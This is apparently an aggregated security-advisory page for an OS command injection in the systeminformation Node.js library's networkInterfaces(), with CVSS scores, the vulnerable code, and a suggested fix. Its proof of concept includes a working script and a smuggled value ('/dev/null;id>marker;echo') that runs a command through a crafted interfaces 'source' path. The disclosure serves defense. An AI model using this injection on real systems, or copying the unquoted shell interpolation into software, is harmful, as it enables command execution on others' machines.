systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source <path> token from file content, and interpolates it unquoted into cat ${file} 2> /dev/null | grep 'iface\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.

Source published

17 Jul 2026 19:42:41 UTC

Source modified

20 Jul 2026 16:22:33 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source <path> token from file content, and interpolates it unquoted into cat ${file} 2> /dev/null | grep 'iface\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.

Source published

17 Jul 2026 20:17:24 UTC

Source modified

24 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 12:17:38 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### Summary On Linux, `systeminformation`'s `networkInterfaces()` is vulnerable to OS command injection through the Debian/Ubuntu `interfaces(5)` `source` directive. While collecting per-interface DHCP state, the library reads `/etc/network/interfaces` and, for every `source <path>` line it encounters, extracts the path token *from the file content* and interpolates it **unquoted** into a shell command string that is run via `execSync()`. A `source` line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process. This is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the `interfaces(5)` `source`-recursion sink in `checkLinuxDCHPInterfaces()` was left unfixed and still builds a shell string. The input to this sink is *unsanitized* (unlike the `iface`/`connectionName` paths, which pass through `util.sanitizeString` in strict mode before reaching their commands). ### Impact An attacker who can place or influence a `source`d path in `/etc/network/interfaces` (or any file it transitively `source`s) achieves command execution inside any process that calls `networkInterfaces()`. Realistic affected deployments are the same ones that motivate this library: - local inventory / asset agents - monitoring and diagnostics agents - admin-dashboard backends collecting host information - device-management / desktop agents If such a process runs with elevated privileges, the injected command runs with those privileges. `networkInterfaces()` is a core, frequently-called API and is reached transitively by `getStaticData()` / `getAllData()`, so the sink is exercised by ordinary usage on Linux. ### Threat model The dangerous value is **not** a function argument supplied by the caller. It is read from the *content* of an `interfaces(5)` configuration file. The stock Debian/Ubuntu layout uses `source /etc/network/interfaces.d/*` and `source-directory` fan-out, so the parser routinely follows `source` directives into other files and re-parses their `source` lines. Any actor who can write a file that becomes reachable through that `source` chain — for example a lower-privileged process or configuration-management hook that drops a file into a `source`d directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one `source`d path string contains shell metacharacters. ### Vulnerable code `lib/network.js`, `checkLinuxDCHPInterfaces()` (current `5.31.6` line numbers): ```js // lib/network.js function checkLinuxDCHPInterfaces(file) { let result = []; try { const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`; // <-- unquoted ${file} -> shell sink const lines = execSync(cmd, util.execOptsLinux).toString().split('\n'); lines.forEach((line) => { const parts = line.replace(/\s+/g, ' ').trim().split(' '); if (parts.length >= 4) { if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) { result.push(parts[1]); } } if (line.toLowerCase().includes('source')) { const file = line.split(' ')[1]; // <-- path parsed FROM file content result = result.concat(checkLinuxDCHPInterfaces(file)); // <-- recurses, re-feeding attacker path } }); } catch { util.noop(); } return result; } ``` `util.execOptsLinux` sets no `shell` option, so `execSync(cmd, util.execOptsLinux)` runs `cmd` through `/bin/sh`. The `${file}` token is interpolated raw — not quoted, not passed through `util.sanitizeString`/`sanitizeShellString` — so `;`, `$( )`, backticks, `|`, `&`, redirections, and even a bare space all break out of the intended `cat`/`grep` pipeline. Reach chain to the public API: ```js // lib/network.js, getLinuxDHCPNics() result = checkLinuxDCHPInterfaces('/etc/network/interfaces'); ``` ```js // lib/network.js, networkInterfaces() (Linux branch) _dhcpNics = getLinuxDHCPNics(); ``` `networkInterfaces()` is also reached by `getStaticData()` and `getAllData()` in `lib/index.js`. ### Reproduction The PoC exercises the **verbatim shipped sink function** extracted from the installed `node_modules/systeminformation/lib/network.js` (version pinned to `5.31.6`), bound to the same `child_process.execSync` and shipped `util.execOptsLinux` the library uses. It then drives the exact `source`-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input. Install the pinned vulnerable version: ```bash mkdir si-poc && cd si-poc npm init -y >/dev/null npm install [email protected] ``` `poc.js`: ```js const fs = require('fs'); const path = require('path'); const cp = require('child_process'); const libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib'); const util = require(path.join(libDir, 'util.js')); // Load the VERBATIM shipped sink function from the installed library source. const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8'); const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]*?\n\}\n/); if (!m) { console.error('could not locate shipped function'); process.exit(2); } // Bind the same free vars network.js binds: execSync + util. const execSync = cp.execSync; const checkLinuxDCHPInterfaces = new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util); // --- Malicious case: a sourced interfaces file with shell metacharacters in the path --- const tmp = fs.mkdtempSync('/tmp/si-dhcp-'); const outer = path.join(tmp, 'interfaces'); const marker = path.join(tmp, 'PWNED'); const maliciousSource = `/dev/null;id>${marker};echo`; fs.writeFileSync(outer, `auto lo\niface lo inet loopback\nsource ${maliciousSource}\n`); console.log('PRE marker_exists=' + fs.existsSync(marker)); const res = checkLinuxDCHPInterfaces(outer); // == networkInterfaces() -> getLinuxDHCPNics() path console.log('returned=' + JSON.stringify(res)); console.log('POST marker_exists=' + fs.existsSync(marker)); if (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim()); // --- Negative control: a benign sourced path must NOT execute anything --- const tmp2 = fs.mkdtempSync('/tmp/si-neg-'); const outer2 = path.join(tmp2, 'interfaces'); const inner2 = path.join(tmp2, 'iface.d'); const marker2 = path.join(tmp2, 'PWNED_NEG'); fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n'); fs.writeFileSync(outer2, `auto lo\nsource ${inner2}\n`); console.log('\nNEG pre marker_exists=' + fs.existsSync(marker2)); const res2 = checkLinuxDCHPInterfaces(outer2); console.log('NEG returned=' + JSON.stringify(res2)); console.log('NEG post marker_exists=' + fs.existsSync(marker2)); ``` Run it: ```bash node poc.js ``` Verbatim captured output (against `[email protected]`): ``` PRE marker_exists=false returned=[] POST marker_exists=true marker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) NEG pre marker_exists=false NEG returned=["eth0"] NEG post marker_exists=false ``` The malicious `source` path caused the injected `id` command to run (marker created, contents = the calling process identity), while the benign `source` path parsed normally (`["eth0"]`) and produced no marker. The injected command runs with the privileges of the Node.js process that called `networkInterfaces()`. ### End-to-end reproduction The transcript above is the end-to-end run against the pinned published artifact `[email protected]`, loading the shipped `lib/network.js` and `lib/util.js` from `node_modules`. Exact commands: ```bash mkdir si-poc && cd si-poc npm init -y >/dev/null npm install [email protected] # place poc.js (from the Reproduction section) in this directory node poc.js ``` The marker file `PWNED` is created only by the injected command path; the negative-control marker `PWNED_NEG` is never created. The verbatim captured stdout is shown in the Reproduction section above. ### Suggested fix Stop building a shell string from a path that comes out of file content. Read the file with `fs` (no shell), or use argument-array execution, and never interpolate a parsed `source` path into a shell command. For example: ```js function checkLinuxDCHPInterfaces(file) { let result = []; try { // No shell: read the file directly and filter in JS. const content = require('fs').readFileSync(file, { encoding: 'utf8' }); const lines = content.split('\n').filter((l) => /iface|source/.test(l)); lines.forEach((line) => { const parts = line.replace(/\s+/g, ' ').trim().split(' '); if (parts.length >= 4 && line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) { result.push(parts[1]); } if (line.toLowerCase().includes('source')) { const sourced = line.split(' ')[1]; result = result.concat(checkLinuxDCHPInterfaces(sourced)); } }); } catch { require('./util').noop(); } return result; } ``` If shelling out is preferred, replace the `cat`/`grep` shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it: ```js const { execFileSync } = require('child_process'); const content = execFileSync('cat', [file], util.execOptsLinux).toString(); ``` Quoting alone is insufficient. Treat every value parsed from `interfaces(5)` files as untrusted even though it originates from local system state, consistent with the defensive `util.sanitizeString` pattern already applied to the interface name and NetworkManager connection name on the sibling paths. ### Fix PR A fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the `cat ${file}` shell string in `checkLinuxDCHPInterfaces()` with a non-shell `fs.readFileSync` read and adds a Linux regression test that points the function at an `interfaces` file containing a `source` directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed. ### Credit Reported by tonghuaroot.

Source published

15 Jul 2026 23:09:28 UTC

Source modified

10 Sep 2026 03:51:10 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH